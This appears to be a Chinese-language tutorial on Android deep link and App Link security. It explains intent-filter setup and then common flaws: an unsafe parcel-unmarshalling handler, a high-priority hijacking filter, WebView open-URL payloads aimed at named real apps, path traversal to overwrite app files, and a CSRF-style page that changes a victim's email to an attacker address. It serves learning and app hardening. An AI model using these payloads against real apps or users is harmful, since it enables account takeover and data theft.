DeepLink漏洞

0x00 DeepLink简介

Deep link是一种处理特定类型链接并直接发送到应用程序(例如特定活动)的机制。Android 允许开发者创建两种类型的链接:

  • Deep link
  • Android App Link

Deep link

深层链接是一种将用户直接带到应用程序中特定内容的 URL。例如,example://myapp可以使用deeplink来启动MainActivity.

通过添加intent-filters来设置深层链接,并根据从传入意图中提取的数据将用户引导至正确的活动。因此,多个应用程序能够处理相同的深层链接(Intent)。在这种情况下,用户可能不会直接进入特定应用程序,需要手动选择一个应用程序

以下 XML 片段显示了清单中用于deep link的intent-filters的示例,其中example://myappURI 解析为MainActivity

1
2
3
4
5
6
7
8
9
10
<activity android:name="MainActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<!-- Accepts URIs that begin with "example://myapp -->
<data android:scheme="example"
android:host="myapp" />
</intent-filter>
</activity>

Android app link

Android App Links 是一种特殊类型的深层链接,允许网站 URL 立即打开应用程序中的相应内容(无需用户手动选择应用程序)。如果用户不希望应用程序成为默认处理程序,他们可以从设备的系统设置中覆盖此行为。

Android 应用程序链接是通过添加使用 URL 打开应用程序内容的意图过滤器并验证是否允许应用程序打开这些网站 URL 来设置的。验证需要执行以下步骤:http/https

  • 请求清单中的自动应用程序链接验证。这向 Android 系统发出信号,表明它应该验证应用程序是否属于意图过滤器中使用的 URL 域。
  • 通过在以下位置托管数字资产链接JSON 文件来声明网站和意图过滤器之间的关系:https://domain.name/.well-known/assetlinks.json

如果系统成功验证允许应用程序打开某个 URL,系统会自动将此 URL intent路由到该应用程序。

以下 XML 片段显示了清单中用于应用程序链接的intent-filters的示例,其中https://example.comURI 解析为MainActivity

1
2
3
4
5
6
7
8
9
10
<activity android:name="MainActivity">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<!-- Accepts URIs that begin with "https://example.com/ -->
<data android:scheme="https"
android:host="example.com" />
</intent-filter>
</activity>

deep link和app deep link区别

# Deep links App links
Intent URL scheme http, https, or a custom scheme Requires http or https
Intent action Any action Requires android.intent.action.VIEW
Intent category Any category Requires android.intent.category.BROWSABLE and android.intent.category.DEFAULT
Link verification None Requires a Digital Asset Links file served on a website with HTTPS
User experience May show a disambiguation dialog for the user to select which app to open the link No dialog; an app opens to handle website links
兼容性 All Android versions Android 6.0 and higher

0x01 安全问题

访问任意组件

应用程序可以实现自己的意图解析器来使用 JSON 对象、字符串或字节数组来处理深度链接,这些对象、字符串或字节数组可以扩展 Serialized 和 Parcelable 对象并允许设置不安全标志。

例如,以下深度链接解析器将字节数组转换为 Parcel 并从中读取意图:

1
2
3
4
5
6
7
Uri deeplinkUri = getIntent().getData();
if (deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}

应用程序链接配置错误

deep link和app link都可以使用该https方案,开发人员可以为deep link配置意图过滤器。然后,可以创建一个应用程序来处理相同的deep link并拦截意图: 只要把android:priority设置最高

1
2
3
4
5
6
7
<intent-filter android:priority="999">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="https" />
<data android:host="myapp.link" />
</intent-filter>

参考:帐户接管拦截了 Arrive

在WebView中打开任意URL

如果应用程序根据deep link中的参数在 WebView 中打开 URL,您可以尝试绕过 URL 验证并打开任意 URL。这可用于执行任意 JavaScript、窃取敏感数据、访问任意组件以及与其他弱点进行链接。

打开任意URL

1
2
3
4
5
6
7
<!DOCTYPE html>
<html>
<head><title>Page 1</title></head>
<body style="text-align: center;">
<h1><a href="grab://open?screenType=HELPCENTER&amp;page=https://s3.amazonaws.com/edited/page2.html">Begin attack!</a></h1>
</body>
</html>

或者

1
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=https://google.com"

参考:

绕过本地身份验证

应用程序可以在本地身份验证(密码/生物识别)之前处理深层链接,有时这可能会导致直接用户在没有本地身份验证的情况下被推送到活动中。这可能需要您简单地遵循深层链接,或滥用参数/功能,尝试获得异常条件,例如验证失败或中间中断流程。

参考:

不安全的参数处理

Deeplinks 允许用户向应用程序提供参数,这些参数可用作执行本地操作、请求 API 等时的参数。因此,如果这些参数未经过正确验证,攻击者可以使用这些参数进行攻击(如 RCE)。

例如,假设应用程序通过以下流程打开基于 http/https URL 的本地文件:

  1. 用户发送链接https://website.com/file.pdf
  2. 应用程序解析 URL 并检索 URL 路径:file.pdf
  3. 应用程序使用以下命令加入硬编码的临时文件夹file.pdf/data/data/com.vulnerable-app/tempfiles/file.pdf
  4. 应用程序从中下载 PDF 文件https://website.com/file.pdf并将其保存到/data/data/com.vulnerable-app/temp-files/file.pdf
  5. 应用程序为用户打开下载的文件

在这种情况下,攻击者可以使用路径遍历重写包内的任意文件:https://website.com/x/..%2F..%2Fdatabases/secret.db

参考:

在未经确认的情况执行不安全的操作

有时,应用程序允许用户通过深层链接执行不安全的操作,例如修改数据、拨打电话、购买订阅等。如果这些操作不需要用户的额外确认,则可以执行类似 CSRF 的攻击。

例如,如果应用程序允许经过身份验证的用户通过myapp://user?email=<email>深层链接更改其电子邮件,您可以通过让受害者访问以下页面来将受害者的电子邮件更改为您自己的电子邮件:

1
2
3
4
5
6
7
<!DOCTYPE html>

<html>

<script>location.href = "myapp://user?email=attacker@attacker-website.com";</script>

</html>

参考:

[深层链接安全性:如何防范移动应用深度链接滥用](深层链接安全性:如何防范移动应用深度链接滥用 - NowSecure)

帐户接管拦截 Arrive 应用程序

账户接管KAYAK应用

深层链接漏洞